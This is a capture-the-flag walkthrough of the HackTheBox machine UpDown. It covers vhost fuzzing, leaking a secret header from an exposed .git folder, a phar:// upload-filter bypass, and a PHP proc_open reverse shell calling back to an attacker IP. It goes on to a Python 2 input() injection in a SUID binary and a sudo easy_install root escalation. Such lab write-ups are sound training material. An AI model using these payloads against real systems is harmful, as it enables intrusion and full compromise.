Overview

UpDown is a medium HackTheBox Linux machine running a site-uptime checker app. Its dev subdomain is gated behind a custom HTTP header, which an exposed .git repository leaks directly. The beta app accepts file uploads with a weak extension filter, bypassed by zipping a PHP payload and abusing the phar:// wrapper to execute it, but disabled functions block the obvious code execution paths, requiring dfunc-bypasser to find proc_open still usable. Lateral movement exploits Python 2’s dangerously eval-like input() function in a SUID binary, and root is a documented sudo misconfiguration around easy_install.

Attack Chain

  • Scan the target and find only SSH and HTTP
  • Find a “site is up” checker app and fuzz for virtual hosts
  • Discover a dev subdomain that returns Forbidden
  • Fuzz the main site and find an exposed .git repository under /dev
  • Dump the repository with git-dumper and find a .htaccess rule requiring a special header
  • Add the custom header and confirm access to http://dev.siteisup.htb
  • Discover the beta app accepts file uploads instead of URLs
  • Review checker.php’s source to find phar isn’t in the blocked extension list
  • Zip a PHP payload, rename it to .txt, and upload it
  • Trigger the payload through the phar:// wrapper via the uploads directory
  • Find that common RCE functions are disabled per phpinfo()
  • Use dfunc-bypasser to identify proc_open as still usable
  • Build a proc_open-based reverse shell payload and upload it the same way
  • Trigger the payload and catch a shell as www-data
  • Find a SUID binary, siteisup, belonging to a development user
  • Exploit Python 2’s input() function, which evaluates arbitrary expressions, to spawn a shell
  • Copy the development user’s SSH private key and use it for a full interactive shell
  • Read the user flag
  • Find a sudo rule allowing /usr/local/bin/easy_install to run as root
  • Use the documented GTFOBins technique for easy_install to spawn a root shell
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.227.227; export NAME=UPDOWN; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Finding the dev Subdomain

Browsing to port 80 shows an app that checks whether a site is up.

site-uptime checker app

We fuzz for virtual hosts.

ffuf -u http://siteisup.htb -c -ic -H "HOST: FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t 100 -mc all -fw 186 -fs 301

We find a dev subdomain.

ffuf finds the dev subdomain

Accessing it directly gives a Forbidden error.

dev subdomain returns Forbidden

Leaking the Bypass Header via .git

We continue fuzzing the main site.

dirsearch -u http://siteisup.htb -t 100 -o ./scans/dirsearch_${NAME}default.txt -x 403

dirsearch on the main site

dirsearch -u http://siteisup.htb/dev -t 100 -o ./scans/dirsearch_${NAME}_dev_default.txt -x 403

We find a .git folder.

dirsearch finds a .git folder under /dev

We dump the repository with git-dumper.

git-dumper http://siteisup.htb/dev/.git src

dumping the repository

Looking through it, .htaccess reveals a special request header requirement.

.htaccess reveals the special header

We add the custom header to requests for http://dev.siteisup.htb:

Special-Dev: only4dev

We change the request in BurpSuite and get a 200 response.

Burp request with the custom header

We use a BurpSuite plugin, “Modify Header Value,” to apply the header automatically to every request.

configuring Modify Header Value

We can now load http://dev.siteisup.htb.

dev subdomain loads with the header applied


Foothold

Bypassing the Upload Filter

http://dev.siteisup.htb is a beta version of the main app, instead of a URL, it requires a file upload. We create a test file.

echo "127.0.0.1" > test.txt

creating a test.txt file

We upload it and see it processed.

uploading test.txt

We look at checker.php from the dumped repository and see many extensions are blocked, but phar isn’t among them.

checker.php’s blocked extensions

echo "<?php phpinfo(); ?>" > info.php

creating a phpinfo payload

To use the phar wrapper, we compress the payload:

zip info.zip info.php

Since the upload only accepts .txt, we rename the file:

mv info.zip info.txt

zipping and renaming the payload to .txt

We select info.txt and upload it.

uploading info.txt

We browse to the uploads directory, /uploads, found earlier in checker.php.

browsing the uploads directory

Our file is uploaded and renamed.

file uploaded and renamed

We use the phar wrapper to execute the payload from inside the archive.

Note: the uploads directory clears quickly, so uploaded filenames will differ as we go.

http://dev.siteisup.htb/?page=phar://uploads/70f62a71de4c2105cfe34f284e3a8184/info.txt/info

We see the phpinfo page.

the phar wrapper triggers phpinfo

Bypassing Disabled Functions

We upload wwwolf-php-webshell, but can’t execute anything, popen() is disabled.

Looking at the phpinfo output, several normal remote code execution functions are disabled.

phpinfo shows disabled functions

We use dfunc-bypasser, a tool that checks for still-usable PHP functions:

https://github.com/teambi0s/dfunc-bypasser

To get it working, we also include the special header for the dev subdomain.

configuring dfunc-bypasser with the special header

We run it against our uploaded payload (re-uploaded, so the path differs):

http://dev.siteisup.htb/?page=phar://uploads/d6d31276cb52367a273e42175f2092c7/info.txt/info

We can still use proc_open.

dfunc-bypasser confirms proc_open is usable

Reverse Shell as www-data

We use proc_open to build a reverse shell:

<?php
$descriptorspec = array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'a') // stderr
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.15.115/443 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>

We prepare the payload the same way as before.

preparing the proc_open reverse shell payload

http://dev.siteisup.htb/?page=phar://uploads/49c9ca7e62b0aac14f236131fc43737f/rev443.txt/rev443

We have a shell as www-data.

shell as www-data


Lateral Movement

Exploiting a Python 2 SUID Binary

In /home, we see a development user with a dev subfolder.

development user’s home directory

Inside dev, there’s a SUID binary called siteisup.

siteisup SUID binary

The binary takes user input. Python 2’s input() function is dangerously close to eval(), so we can issue a system command directly by importing os:

__import__('os').system('/bin/bash')

It works.

the input() exploit works

We have a shell as developer.

shell as developer

Getting a Full Shell

The shell isn’t fully interactive, so we copy the user’s SSH private key.

copying the SSH private key

We save it on our attacking machine and set permissions with chmod 600.

saving the key and setting permissions

We use SSH to establish an interactive shell and read the user flag.

interactive SSH shell and user flag


Privilege Escalation

Exploiting Sudo easy_install

We check our privileges with sudo -l and find we can run /usr/local/bin/easy_install as sudo.

sudo -l shows easy_install

GTFOBins documents this:

https://gtfobins.org/gtfobins/easy_install/

We follow the steps.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/local/bin/easy_install $TF

We have a shell as root.

shell as root

We read the root flag.

root flag


Key Takeaways

UpDown packs in several distinct bypass techniques rather than one single vulnerability class. A .htaccess-enforced custom header only felt like protection because it wasn’t validated against anything secret, the exposed .git repository handed it over for free. The file upload filter’s extension blacklist missed phar, and the phar:// stream wrapper turned an otherwise-inert uploaded archive into executable PHP; even then, disabled PHP functions required a purpose-built tool to find the one remaining code-execution primitive. Lateral movement is a reminder that Python 2’s input() function was genuinely dangerous by design, it evaluates its input as a Python expression, making any program that calls it on untrusted data equivalent to arbitrary code execution regardless of intent.